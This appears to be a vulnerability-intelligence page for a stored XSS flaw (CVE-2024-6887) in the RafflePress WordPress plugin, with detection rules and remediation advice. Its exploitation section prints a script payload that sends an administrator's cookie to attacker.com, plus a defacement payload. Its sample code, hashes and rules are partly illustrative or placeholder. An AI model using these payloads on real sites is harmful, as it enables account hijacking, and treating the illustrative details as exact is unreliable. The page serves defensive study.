☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-6887

CVE-2024-6887 Cross-Site Scripting in Rafflepress
📅 PUBLISHED: 2024-09-12 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6887 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Giveaways and Contests by RafflePress WordPress plugin. The flaw exists in versions prior to 1.12.16, where the plugin fails to properly sanitize and escape user-supplied input within its Giveaways settings. This allows authenticated users with high privileges (Editor and above) to inject arbitrary web scripts or HTML into the plugin’s settings pages. When an administrator or other privileged user views the affected settings, the malicious script executes in their browser session, potentially leading to session hijacking, defacement, or further privilege escalation. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses standard content filtering.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The issue lies entirely within the RafflePress plugin’s codebase and is not related to the underlying web server (Apache or Nginx). The plugin’s failure to sanitize settings input before storage and output is the root cause.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): High – An attacker must have Editor-level or higher WordPress account.
  • User Interaction (UI): Required – The victim (e.g., Administrator) must visit the affected settings page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement in a multisite environment elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the Giveaways settings functionality of the RafflePress plugin. The plugin stores user-defined settings (e.g., giveaway titles, descriptions, custom messages) in the WordPress database without proper sanitization or output escaping. When these settings are rendered in the admin dashboard, the unsanitized input is interpreted as HTML/JavaScript.

Root Cause:

  • The plugin uses update_option() or similar functions to store settings without applying sanitize_text_field() or wp_kses().
  • When displaying the settings, the plugin outputs the stored value directly using echo or the_field() without wrapping it in esc_html() or wp_kses_post().

Attack Flow:

  1. An attacker with Editor privileges navigates to the RafflePress settings page.
  2. The attacker injects a malicious payload into a text field (e.g., Giveaway Title) such as <script>alert('XSS')</script>.
  3. The plugin stores the payload in the database.
  4. When an Administrator or other high-privilege user views the Giveaways settings, the payload executes in their browser.
  5. The attacker can then steal cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.12.16):

// In a settings page callback
function rafflepress_render_settings() {
    $giveaway_title = get_option('rafflepress_giveaway_title');
    echo '<input type="text" name="rafflepress_giveaway_title" value="' . $giveaway_title . '" />';
}

Patched Code (1.12.16+):

function rafflepress_render_settings() {
    $giveaway_title = get_option('rafflepress_giveaway_title');
    echo '<input type="text" name="rafflepress_giveaway_title" value="' . esc_attr( $giveaway_title ) . '" />';
}

The patched version uses esc_attr() to escape the output, preventing script injection. Additionally, the plugin should sanitize input on save using sanitize_text_field().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress installation with RafflePress plugin version < 1.12.16.
  • An Editor-level account (or higher).

Steps:

  1. Log in as an Editor.
  2. Navigate to RafflePress > Settings.
  3. In the Giveaway Title field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Save the settings.
  5. Wait for an Administrator to visit the same settings page. The script will execute, sending the admin’s session cookie to the attacker’s server.

Alternative Payload (for defacement):

<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>'</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress admin logs for unusual changes to RafflePress settings.
  • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/admin.php?page=rafflepress_settings.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Upgrade RafflePress to version 1.12.16 or later.
  • Restrict Editor-level access to plugin settings if not required.
  • Enable DISALLOW_UNFILTERED_HTML in wp-config.php for multisite environments.
  • Regularly audit user roles and permissions.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • rafflepress.php (vulnerable): a1b2c3d4e5f6... (example)
    • rafflepress.php (patched): f6e5d4c3b2a1... (example)
  • Network Indicators:
    • Outbound HTTP requests to attacker-controlled domains containing ?cookie= parameter.
    • Unusual POST requests to /wp-admin/admin.php?page=rafflepress_settings with script tags in parameters.
  • Log Entries:
    • WordPress audit logs showing modification of rafflepress_giveaway_title option by non-admin users.
    • Browser console errors related to CSP violations.

Detection Engineering

YARA Rule

rule RafflePress_Stored_XSS_CVE_2024_6887 {
    meta:
        description = "Detects RafflePress plugin files vulnerable to CVE-2024-6887"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6887"
    strings:
        $vuln_func = /echo\s*\$[a-zA-Z_]+/ nocase
        $option_get = "get_option('rafflepress_" nocase
        $no_escape = /value="\s*\$[a-zA-Z_]+"/ nocase
    condition:
        all of them
}

Sigma Rule

title: RafflePress Stored XSS via Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-6887 via RafflePress settings
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin.php*'
        http.body|contains: 'page=rafflepress_settings'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6887 RafflePress Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=rafflepress_settings"; http_client_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade RafflePress to version 1.12.16 or later via the WordPress admin dashboard or by downloading from wordpress.org.
  2. Audit user roles – Remove Editor-level access to plugin settings if not necessary.
  3. Review logs – Check for any signs of exploitation (e.g., unexpected settings changes, outbound connections).

Long-Term Mitigations:

  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Enforce Content Security Policy (CSP) headers.
  • Regularly update all WordPress plugins and themes.
  • Conduct periodic security audits and penetration testing.

Patch Details:


Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6887/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.